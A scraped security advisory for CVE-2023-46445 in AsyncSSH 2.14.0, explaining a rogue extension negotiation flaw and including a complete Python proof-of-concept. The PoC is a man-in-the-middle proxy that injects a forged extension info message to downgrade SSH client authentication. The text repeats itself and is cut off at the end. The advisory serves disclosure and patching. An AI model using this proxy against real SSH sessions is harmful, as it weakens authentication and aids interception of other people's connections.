Headline
CVE-2023-46445: Rogue Extension Negotiation in AsyncSSH
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoCAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)
#!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify
##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## #####################################################################################
# IP and port for the TCP proxy to bind to PROXY_IP = ‘127.0.0.1’ PROXY_PORT = 2222
# IP and port of the server SERVER_IP = ‘127.0.0.1’ SERVER_PORT = 22
# Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676
newkeys_payload = b’\x00\x00\x00\x0c\x0a\x15’ def contains_newkeys(data): return newkeys_payload in data
# Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify(‘0000000C060700000000000000000000’) def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close()
def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close()
if __name__ == '__main__’: print(“— Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) —”) mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5)
print(f"\[+\] MitM Proxy started. Listening on {(PROXY\_IP, PROXY\_PORT)} for incoming connections...")
try:
while True:
client\_socket, client\_addr \= mitm\_socket.accept()
print(f"\[+\] Accepted connection from: {client\_addr}")
print(f"\[+\] Establishing new server connection to {(SERVER\_IP, SERVER\_PORT)}.")
server\_socket \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
server\_socket.connect((SERVER\_IP, SERVER\_PORT))
print("\[+\] Spawning new forwarding threads to handle client connection.")
Thread(target\=forward\_client\_to\_server, args\=(client\_socket, server\_socket)).start()
Thread(target\=forward\_server\_to\_client, args\=(client\_socket, server\_socket)).start()
except KeyboardInterrupt:
client\_socket.close()
server\_socket.close()
mitm\_socket.close()
Impact
Algorithm downgrade during user authentication.
Related news
Ubuntu Security Notice 7108-1 - Fabian Bäumer, Marcus Brinkmann, and Joerg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. Fabian Bäumer, Marcus Brinkmann, and Joerg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation.
### Summary An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack. ### Details The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it. A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2). ### PoC <details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to Asyn...